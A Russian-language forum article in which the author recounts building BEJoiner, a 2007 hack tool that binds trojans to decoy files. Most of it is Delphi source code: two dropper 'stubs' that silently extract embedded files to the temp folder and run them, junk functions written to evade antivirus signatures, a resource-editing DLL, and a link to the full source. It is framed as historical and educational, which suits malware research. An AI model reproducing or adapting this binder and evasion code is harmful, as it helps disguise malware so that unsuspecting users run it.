В данной статье я расскажу о разработке и устройстве ПО BEJoiner, относящегося к типу хак-тул, подтипу джоинеров. С момента появления его последней версии прошло уже целых 17 лет. На данный момент программы такого подтипа потеряли любую актуальность, поэтому данный материал не представляет практической ценности, но может быть полезен в учебно-исторических целях. Для тех, кто не знаком с джоинерами, кратко опишу их обычный функционал ‒ объединение (склейка) двух и более файлов разных типов в один исполняемый файл с опциональным указанием его параметров (таких как иконка, версия, упаковка, способы разархивации и исполнения и прочее). Иногда это применялось для «мирных», полезных целей: сборок утилит администрирования/настройки системы, установщиков ПО. Но чаще всего джоинерами пользовались адепты хакинга. Классическое применение джоинера также включало в себя обязательное использование другого подтипа утилит – крипторов (которые скрывали вредоносное ПО от сигнатурных антивирусов). Иногда были комбайны, включавшие в себя сразу джоинер, криптор и что-нибудь еще. Как делали: брался троян (например, очень известный в свое время Pinch), настраивался и обрабатывался криптором; далее джоинер объединял файл трояна с безвредным файлом-приманкой, так, чтобы на выходе получался исполняемый файл, внешне выглядевший максимально безобидно для неискушенного пользователя; этот продукт объединения дополнительно криптовался и подсовывался жертвам. Жертва запускала его и успешно открывала файл-приманку, параллельно со скрытым трояном. Который незаметно делал свое черное дело. Небольшая gif-анимация, принцип работы джоинера. BEJoiner был моей первой и последней пробой публичного релиза ПО типа хак-тул. Основными целями его создания было самопродвижение на ресурсе, приобретение форумной и негласной репутации ‒ джоинер был всецело некоммерческим и свободно раздавался на Antichat в соответствующей теме. Как публичный проект, он был закрыт в преддверии начала ввода ограничений на подобное ПО. Это когда администрация форума решила сделать ресурс более «чистым» законодательно. Кроме того, некоторые пользователи продукта высказывали явный негатив относительно него, несмотря на бесплатность. В том числе это беспочвенные обвинения в «вирусах» внутри самого джоинера, проистекающие из непонимания механизмов классификации хак-тулов антивирусами. Также, постоянные проверки результата работы джоинера на сервисах типа VirusTotal/Jotti virus scan провоцировали скорейшую «порчу» статуса неопределяемости джоинера (точнее его т.н. «стаба») антивирусами, несмотря на все уговоры от адекватных участников сообщества избегать этого. Конкретно BEJoiner был простым и минималистичным джоинером, со следующими особенностями: максимально упрощенный интерфейс и цветовой дизайн в стилистике форума Antichat; единый исполняемый файл-лаунчер небольшого размера (116КБ), что делает продукт портативным и легко распространяемым; «стаб» минимально возможного размера (1,68КБ), что при склейке файлов лишь незначительно увеличивает размер файла результата; дополнительные опции по смене иконки приложения-результата и его упаковке одним из лучших (на тот момент) публичных exe-пакеров UPack (в этом случае применялся 4КБ «стаб», с мини-стабом ни один пакер не справлялся). Это всё реализовывалось посредством следующих компонентов: BEJoiner.exe – сжатый файл-лаунчер джоинера, написанный на Delphi 7 с применением библиотеки KOL (Key Object Library, v2.33), позволяющей обойтись без VCL и тем самым написать оконное приложение минимального размера. Состоял из модулей исполняемого кода Unit1.pas (основное окно интерфейса и его код), Unit2.pas (окошко «О программе»), STUBUNIT.pas («стабы» джоинера, контейнированные, как код) и прилагаемых самоизвлекаемых ресурсов RCData ‒ BERWRK.DLL (функционал смены иконки и редактирования ресурса RCData), UPACK.BIN (исполняемый файл exe-упаковщика UPack). Результат текущего антивирусного сканирования BEJoiner.exe: большинство антивирусов довольно корректно определяют его, как хак-тул. Пройдемся по коду и компонентам. Код крайне несовершенен (как результат всего полутора лет любительского освоения Delphi 7). По современным меркам ужасен, однако был вполне работоспособен и безбажен. Кроме нестандартности самой KOL применялись некоторые трюки для минимализации размеров всего, что есть и для целей антивирусной невидимости. Исходный код Unit1.pas: смотреть здесь (из-за ограничений редактора форума). При запуске приложения создается форма, визуально сформированная в редакторе Delphi в виде Unit1.dfm и отрисовываемая через KOL включением Unit1_1.inc. Код модуля осуществляет реакцию на события клика на элементы формы, их сокрытие/активацию и т.д. Отдельно можно выделить функцию RsExtr, которая распаковывает файлы BERWRK.DLL и UPACK.BIN из контейнера RCData лаунчера во временный каталог текущего пользователя. От BERWRK.DLL в некоторых участках кода динамически подгружаются функции по смене иконки (SetAppIconA) и редактировании ресурса исполняемого файла (AddBinResourceA). После запуска приложения доступна только одна кнопка «Добавить файл». При ее нажатии (TForm1.BitBtn3Click) вызывается диалоговое окно выбора файла. Когда файл добавлен, активируются остальные кнопки. «Иконка» вызывает псевдо-окно опции добавления иконки, где можно вызвать диалоговое окно указания пути к *.ico (TForm1.BitBtn2Click). «Пакер» (TForm1.BitBtn1Click) вызывает псевдо-окно опции архивации Upack или указания пути к стороннему пакеру (типа UPX). ПКМ по списку файлов позволяет удалить позицию из него (TForm1.PopupMenu1N2Menu) или вызвать «О программе» (TForm1.PopupMenu1N3Menu). «Склеить все» запускает процесс «склейки» с учетом настроенных опций (TForm1.BitBtn4Click): из STUBUNIT берется стаб и сохраняется как исполняемый файл. Его ресурсы редактируются: устанавливается иконка (если есть) и в RCData помещаются склеиваемые файлы. Проводится финальная упаковка пакером (если есть). Внешний вид формы: Исходный код Unit2.pas: Code: { KOL MCK } // Do not remove this line! {$DEFINE KOL_MCK} unit Unit2; interface {$IFDEF KOL_MCK} uses Windows, Messages, ShellAPI, KOL {$IFNDEF KOL_MCK}, mirror, Classes, Controls, mckControls, mckObjs, Graphics, mckCtrls {$ENDIF (place your units here->)}; {$ELSE} {$I uses.inc} Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, mirror; {$ENDIF} type {$IFDEF KOL_MCK} {$I MCKfakeClasses.inc} {$IFDEF KOLCLASSES} TForm2 = class; PForm2 = TForm2; {$ELSE OBJECTS} PForm2 = ^TForm2; {$ENDIF CLASSES/OBJECTS} {$IFDEF KOLCLASSES}{$I TForm2.inc}{$ELSE} TForm2 = object(TObj) {$ENDIF} Form: PControl; {$ELSE not_KOL_MCK} TForm2 = class(TForm) {$ENDIF KOL_MCK} KOLForm1: TKOLForm; KOLProject1: TKOLProject; BitBtn2: TKOLBitBtn; BitBtn1: TKOLBitBtn; LabelEffect1: TKOLLabelEffect; Memo1: TKOLMemo; procedure BitBtn1Click(Sender: PObj); procedure BitBtn2Click(Sender: PObj); private { Private declarations } public { Public declarations } end; var Form2 {$IFDEF KOL_MCK} : PForm2 {$ELSE} : TForm2 {$ENDIF} ; {$IFDEF KOL_MCK} procedure NewForm2( var Result: PForm2; AParent: PControl ); {$ENDIF} implementation uses Unit1; {$IFNDEF KOL_MCK} {$R *.DFM} {$ENDIF} {$IFDEF KOL_MCK} {$I Unit2_1.inc} {$ENDIF} //действия по нажатию на кнопку "X", справа procedure TForm2.BitBtn1Click(Sender: PObj); begin winexec('explorer http://coderszone.info',1); Form2.Form.Hide; Form1.Form.Show; Form1.Form.Enabled:=true; Form2.Form.Enabled:=false; end; //действия по нажатию на кнопку "?", слева procedure TForm2.BitBtn2Click(Sender: PObj); var fv:string; begin fv:='BEJoiner версии 1.0.9 Free'+#13+#10+'Версия от: 13.09.2007'+#13+#10+'Автор begin_end a.k.a. Dzmitry K.'+#13+#10+'Комплектность: 1 файл'+#13+#10+' Состав:'+#13+#10+'-оболочка разработки;'+#13+#10+'-dll для работы с ресурсами;'+#13+#10+'-пакер UPack;'+#13+#10+'-стаб.'+#13+#10+' Применяемые технологии и средства:'+#13+#10+'Borland Delphi 7;'+#13+#10+'Key Object Library 2.33;'+#13+#10+'Upack 0.399 - Ultimate PE Packer;'+#13+#10+'UPX 1.95 - Ultimate Packer for eXecutables;'+#13+#10+'Microsoft (R) Incremental Linker 5.012.8078.0.'; MessageBoxA(Form2.form.Handle,PChar(fv),'BEJoiner',$1040); end; end. Из Unit1.pas может быть вызвана опция «О программе», которая прячет основную форму и показывает нестандартно выполненное информационное окошко, содержащее краткое описание программы и пару кнопок. Внешний вид формы: Исходный код STUBUNIT.pas: смотреть здесь (из-за ограничений редактора форума). Не является кодом, как таковым. Это контейнер для бинарников «стабов» джоинера, которые были таким способом встроены в тело кода программы (посимвольно записанными текстовыми строками). Зачем именно так? Чтобы: разделить в «глазах антивирусов» код стаба и код лаунчера джоинера для уменьшения кросс-детекции этих частей; затруднить ручное извлечение чистого стаба. Исходный код bigSTUB, бинарник которого (4КБ) вставлен в STUBUNIT.pas: Code: program STUB; const shell32 = 'shell32.dll'; kernel32= 'kernel32.dll'; type POverlapped = ^TOverlapped; _OVERLAPPED = record Internal: cardinal; InternalHigh: cardinal; Offset: cardinal; OffsetHigh: cardinal; hEvent: cardinal; end; {$EXTERNALSYM _OVERLAPPED} TOverlapped = _OVERLAPPED; OVERLAPPED = _OVERLAPPED; {$EXTERNALSYM OVERLAPPED} PSecurityAttributes = ^TSecurityAttributes; _SECURITY_ATTRIBUTES = record nLength: cardinal; lpSecurityDescriptor: Pointer; bInheritHandle: BOOLEAN; end; {$EXTERNALSYM _SECURITY_ATTRIBUTES} TSecurityAttributes = _SECURITY_ATTRIBUTES; SECURITY_ATTRIBUTES = _SECURITY_ATTRIBUTES; {$EXTERNALSYM SECURITY_ATTRIBUTES} ENUMRESNAMEPROC = Pointer; function ShellExecuteA(hWnd: cardinal; Operation, FileName, Parameters, Directory: PChar; ShowCmd: Integer): cardinal; stdcall; external shell32 name 'ShellExecuteA'; function GetTempPath(nBufferLength: cardinal; lpBuffer: PChar): cardinal; stdcall; external kernel32 name 'GetTempPathA'; function FindResource(hModule: cardinal; lpName, lpType: PChar): cardinal; stdcall; external kernel32 name 'FindResourceA'; function CreateFile(lpFileName: PChar; dwDesiredAccess, dwShareMode: cardinal; lpSecurityAttributes: PSecurityAttributes; dwCreationDisposition, dwFlagsAndAttributes: cardinal; hTemplateFile: cardinal): cardinal; stdcall; external kernel32 name 'CreateFileA'; function WriteFile(hFile: cardinal; const Buffer; nNumberOfBytesToWrite: cardinal; var lpNumberOfBytesWritten: cardinal; lpOverlapped: POverlapped): BOOLEAN; stdcall; external kernel32 name 'WriteFile'; function LockResource(hResData: cardinal): Pointer; stdcall; external kernel32 name 'LockResource'; function LoadResource(hModule: cardinal; hResInfo: cardinal): cardinal; stdcall; external kernel32 name 'LoadResource'; function SizeofResource(hModule: cardinal; hResInfo: cardinal): cardinal; stdcall; external kernel32 name 'SizeofResource'; function CloseHandle(hObject: cardinal): BOOLEAN; stdcall; external kernel32 name 'CloseHandle'; function EnumResourceNames(hModule: cardinal; lpType: PChar; lpEnumFunc: ENUMRESNAMEPROC; lParam: cardinal): BOOLEAN; stdcall; external kernel32 name 'EnumResourceNamesA'; function lstrcat(lpString1, lpString2: PChar): PChar; stdcall; external kernel32 name 'lstrcatA'; function VerLanguageName(wLang: cardinal; szLang: PChar; nSize: cardinal): cardinal; stdcall; external kernel32 name 'VerLanguageNameA'; function GetObjectA(p1: cardinal; p2: cardinal; p3: Pointer): cardinal; stdcall; external 'gdi32.dll' name 'GetObjectA'; //фейковая функция для отвлечения антивирусов procedure new2; var q:cardinal; begin q:=378234238; if q<1 then GetObjectA(6,7,nil); end; //фейковая функция для отвлечения антивирусов procedure new1; var z:PChar; begin z:='xmfddaycvnsdhiewuriowe'; if cardinal(z)=456 then VerLanguageName(5,'z',4) else new2; end; //закрываем файл (+запутывание кода) procedure f1(i:cardinal); begin CloseHandle(i); end; //выполняем запуск извлеченного содержимого через shellapi (+запутывание кода) procedure f2(i:PChar); begin ShellExecuteA(0,'open',i,'','',1); end; //возвращаем число 1023 (+запутывание кода) function f3:cardinal; begin Result:=1023; end; //получаем хэндл ресурса (+запутывание кода) function f4(i1,i2:PChar):cardinal; begin Result:= FindResource(0,i1,i2); end; //формируем конкретный путь для сохранения ресурса (+запутывание кода) function f5(i1,i2:PChar):PChar; begin Result:=lstrcat(i1,i2); end; function RsExtr(hModule:cardinal; ResType,ResName:PChar):boolean; stdcall; var hrs, fins, skns: cardinal; szName: Array[0..1023] of Char; pth:PChar; begin GetTempPath(f3,szName); //получаем каталог для временных файлов pth:=f5(szName,ResName); //формируем конкретный путь для сохранения ресурса hrs:=f4(ResName,ResType); //получаем хэндл ресурса fins:= CreateFile(pth, $40000000, $00000002, nil, 2, $00000080, 0); //создаем файл под извлекаемый ресурс Result:=WriteFile(fins, LockResource(LoadResource(0, hrs))^, SizeOfResource(0, hrs), skns, nil); //записываем содержимое ресурса в файл f1(fins); //закрываем файл f2(pth); //выполняем запуск извлеченного содержимого через shellapi if Result=true then new1; //фейковая функция для отвлечения антивирусов end; var af:cardinal; begin af:=897234214; if af>1000 then EnumResourceNames(0, PChar(10), @RsExtr, 0) else new2; //извлечь все ресурсы (+запутывание кода) end. Стандартный Delphi 7 код, но без uses (нужные Win-API функции вызваны вручную). Обратите внимание на бесполезные функции и вызовы, которые при компиляции формировали бинарник, отличающийся от предыдущей версии (что позволяло временно избежать детектируемости антивирусами). Результат антивирусного сканирования bigSTUB: самые разнообразные ответы; в целом сходятся на том, что это троян. Исходный код uuuSTUB, бинарник которого (1,68КБ) вставлен в STUBUNIT.pas: Code: Unit Project1; interface const shell32 = 'shell32.dll'; kernel32= 'kernel32.dll'; type POverlapped = ^TOverlapped; _OVERLAPPED = record Internal: cardinal; InternalHigh: cardinal; Offset: cardinal; OffsetHigh: cardinal; hEvent: cardinal; end; TOverlapped = _OVERLAPPED; OVERLAPPED = _OVERLAPPED; PSecurityAttributes = ^TSecurityAttributes; _SECURITY_ATTRIBUTES = record nLength: cardinal; lpSecurityDescriptor: Pointer; bInheritHandle: BOOLEAN; end; TSecurityAttributes = _SECURITY_ATTRIBUTES; SECURITY_ATTRIBUTES = _SECURITY_ATTRIBUTES; function ShellExecuteA(hWnd: cardinal; Operation, FileName, Parameters, Directory: PChar; ShowCmd: Integer): cardinal; stdcall; external shell32 name '_ShellExecuteA@24'; function GetTempPath(nBufferLength: cardinal; lpBuffer: PChar): cardinal; stdcall; external kernel32 name '_GetTempPathA@8'; function FindResource(hModule: cardinal; lpName, lpType: PChar): cardinal; stdcall; external kernel32 name '_FindResourceA@12'; function CreateFile(lpFileName: PChar; dwDesiredAccess, dwShareMode: cardinal; lpSecurityAttributes: PSecurityAttributes; dwCreationDisposition, dwFlagsAndAttributes: cardinal; hTemplateFile: cardinal): cardinal; stdcall; external kernel32 name '_CreateFileA@28'; function WriteFile(hFile: cardinal; const Buffer; nNumberOfBytesToWrite: cardinal; var lpNumberOfBytesWritten: cardinal; lpOverlapped: POverlapped): BOOLEAN; stdcall; external kernel32 name '_WriteFile@20'; function LockResource(hResData: cardinal): Pointer; stdcall; external kernel32 name '_LockResource@4'; function LoadResource(hModule: cardinal; hResInfo: cardinal): cardinal; stdcall; external kernel32 name '_LoadResource@8'; function SizeofResource(hModule: cardinal; hResInfo: cardinal): cardinal; stdcall; external kernel32 name '_SizeofResource@8'; function CloseHandle(hObject: cardinal): BOOLEAN; stdcall; external kernel32 name '_CloseHandle@4'; function EnumResourceNames(hModule: cardinal; lpType: PChar; lpEnumFunc: Pointer; lParam: cardinal): BOOLEAN; stdcall; external kernel32 name '_EnumResourceNamesA@16'; function lstrcat(lpString1, lpString2: PChar): PChar; stdcall; external kernel32 name '_lstrcatA@8'; procedure ExitProcess(uExitCode: cardinal); stdcall; external kernel32 name '_ExitProcess@4'; function VerLanguageNameA(wLang: cardinal; szLang: PChar; nSize: cardinal): cardinal; stdcall; external kernel32 name '_VerLanguageNameA@12'; procedure Start; implementation //фейковая функция для отвлечения антивирусов procedure Nd; begin SizeofResource(87,231); end; //фейковая функция для отвлечения антивирусов procedure Mk; var a:PChar; begin a:=PChar($06); if a=PChar($44) then if VerLanguageNameA(4,'wwq',3)=371 then Nd; end; //фейковая функция для отвлечения антивирусов procedure Mk2; begin if 0>1 then Nd; end; //извлечение ресурса procedure RsExtr(hModule:cardinal; ResType, ResName:PChar; lPar:cardinal); stdcall; var hrs, fins, skns, n: cardinal; szName: Array[0..511] of Char; pth:PChar; begin n:=255; GetTempPath(n,szName); //получаем каталог для временных файлов pth:=lstrcat(szName,ResName); //формируем конкретный путь для сохранения ресурса hrs:=FindResource(0,ResName,ResType); //получаем хэндл ресурса fins:=CreateFile(pth, $40000000, $00000002, nil, 2, $00000080, 0); //создаем файл под извлекаемый ресурс WriteFile(fins, LockResource(LoadResource(0, hrs))^, SizeOfResource(0, hrs), skns, nil); //записываем содержимое ресурса в файл CloseHandle(fins); //закрываем файл ShellExecuteA(0,'open',pth,'','',1); //выполняем запуск извлеченного содержимого через shellapi Mk; //фейковая функция для отвлечения антивирусов Mk2; //фейковая функция для отвлечения антивирусов end; //точка входа в программу procedure Start; begin EnumResourceNames(0, PChar(10), @RsExtr, 0); //извлечь все ресурсы end; end. Здесь также есть функции для запутывания и привнесения уникальности в код. Однако еще тут можно увидеть применение технологии от MsRem`a по значительному уменьшению размера результирующего бинарного файла. Результат антивирусного сканирования uuuSTUB: немалая часть антивирусов идентифицирует бинарник, как Pinch (с которым, очевидно, его чаще всего и склеивали). Исходный код BERWRK.DLL: Code: library BEResWork; {$R version.res} uses windows, SysUtils, Classes, Graphics; type TNewHeader = record idReserved:WORD; idType:WORD; idCount:WORD; end; TResDirHeader = packed record bWidth:Byte; bHeight:Byte; bColorCount:Byte; bReserved:Byte; wPlanes:WORD; wBitCount:WORD; lBytesInRes:Longint; end; TIconFileResDirEntry = packed record DirHeader:TResDirHeader; lImageOffset:Longint; end; TIconResDirEntry = packed record DirHeader:TResDirHeader; wNameOrdinal:WORD; end; PIconResDirGrp = ^TIconResDirGrp; TIconResDirGrp = packed record idHeader:TNewHeader; idEntries:array[0..0] of TIconResDirEntry; end; PIconFileResGrp = ^TIconFileResDirGrp; TIconFileResDirGrp = packed record idHeader:TNewHeader; idEntries:array[0..0] of TIconFileResDirEntry; end; TBeginUpdateRes=function(pFileName: PChar; bDeleteExistingResources: BOOL): THandle; stdcall; TUpdateRes=function(hUpdate: THandle; lpType, lpName: PChar; wLanguage: Word; lpData: Pointer; cbData: DWORD): BOOL; stdcall; TEndUpdateRes=function(hUpdate: THandle; fDiscard: BOOL): BOOL; stdcall; //установка иконки для бинарного файла приложения function SetAppIcon(FileName, IconFile, ResName:string):boolean; var I:Integer; Group:Pointer; Header:TNewHeader; FileGrp:PIconFileResGrp; IconGrp:PIconResDirGrp; IconGrpSize, FileGrpSize:Integer; Icon:TIcon; Stream:TMemoryStream; hUpdateRes:THandle; begin try hUpdateRes:=BeginUpdateResource(PChar(FileName), False); Win32Check(hUpdateRes <> 0); Icon:=TIcon.Create; Icon.LoadFromFile(IconFile); Stream:=TMemoryStream.Create; try Icon.SaveToStream(Stream); finally Icon.Free; end; Stream.Position:=0; Stream.Read(Header, SizeOf(Header)); FileGrpSize := SizeOf(TIconFileResDirGrp) + (Header.idCount - 1) * SizeOf(TIconFileResDirEntry); IconGrpSize := SizeOf(TIconResDirGrp) + (Header.idCount - 1) * SizeOf(TIconResDirEntry); GetMem(FileGrp, FileGrpSize);GetMem(IconGrp, IconGrpSize); Stream.Position:=0; Stream.Read(FileGrp^, FileGrpSize); Group:=nil; try for I:=0 to FileGrp^.idHeader.idCount - 1 do begin with IconGrp^ do begin idHeader:=FileGrp^.idHeader; idEntries[I].DirHeader:=FileGrp^.idEntries[I].DirHeader; idEntries[I].wNameOrdinal:=I; end; with FileGrp^.idEntries[I] do begin Stream.Seek(lImageOffset, soFromBeginning); ReallocMem(Group, DirHeader.lBytesInRes); Stream.Read(Group^, DirHeader.lBytesInRes); Win32Check(UpdateResource(hUpdateRes,RT_ICON,PChar(MakeIntResource(I)), 0, Group, DirHeader.lBytesInRes)); end; end; Win32Check(UpdateResource(hUpdateRes,RT_GROUP_ICON, PChar(ResName), 0, IconGrp, IconGrpSize)); Win32Check(EndUpdateResource(hUpdateRes, False)); Result:=true; finally Stream.Free; FreeMem(FileGrp); FreeMem(IconGrp); FreeMem(Group); end; except Result:=false; end; end; function SetAppIconA(FileName, IconFile, ResName:PChar):boolean; begin Result:=SetAppIcon(StrPas(FileName),StrPas(IconFile),StrPas(ResName)); end; //добавления ресурса в бинарный файл приложения function AddBinResource(exeToUpdate, FileRes: string; ResName: PChar):boolean; var p: pointer; h: THandle; f: file; size: integer; begin try h:=BeginUpdateResource(PansiChar(exeToUpdate), false); assignfile(f, FileRes); reset(f,1); size:=FileSize(f); getmem(p, size); blockread(f, p^, size, size); closefile(f); UpdateResource(h, MakeIntResource(PChar(10)), ResName, 0, p, size); freemem(p); EndUpdateResource(h, false); Result:=true; except Result:=false; end; end; function AddBinResourceA(exeToUpdate, FileRes, ResName: PChar):boolean; begin Result:=AddBinResource(StrPas(exeToUpdate), StrPas(FileRes), ResName); end; //экспорты функций в другую программу, которая их динамически вызовет exports AddBinResourceA; exports SetAppIconA; begin end. Функции по изменению иконки или добавлению бинарного ресурса вынесены в отдельную dll, так как используют некоторые классы Delphi 7, не совместимые с системой KOL. Весь исходник BEJoiner можно скачать здесь (3,23МБ). Pas-файлы бегло прокомментированы. Состав: [BERWRK] – код библиотеки BERWRK.DLL; [bigSTUB] – код 4КБ стаба; [launcher] – код самого лаучнера-контейнера джоинера; [utils] – вспомогательное ПО (freeware и не являющееся хак-тул), компоненты и библиотеки; [uuuSTUB] – код мини-стаба. Выложенный комплект НЕ содержит исполняемых файлов самого джоинера, но прилагаются все вспомогательные утилиты и библиотеки того времени, использовавшиеся в процессе создания (разумеется, кроме самого Delphi 7). Несмотря на полноту информации, удачная сборка джоинера маловероятна на современной системе. Что, впрочем, не помешает использовать информацию в учебных целях исследователям вирусов, хакерских утилит и разработчикам антивирусного ПО. Автор статьи begin_end, специально для Antichat, 22.03.2024.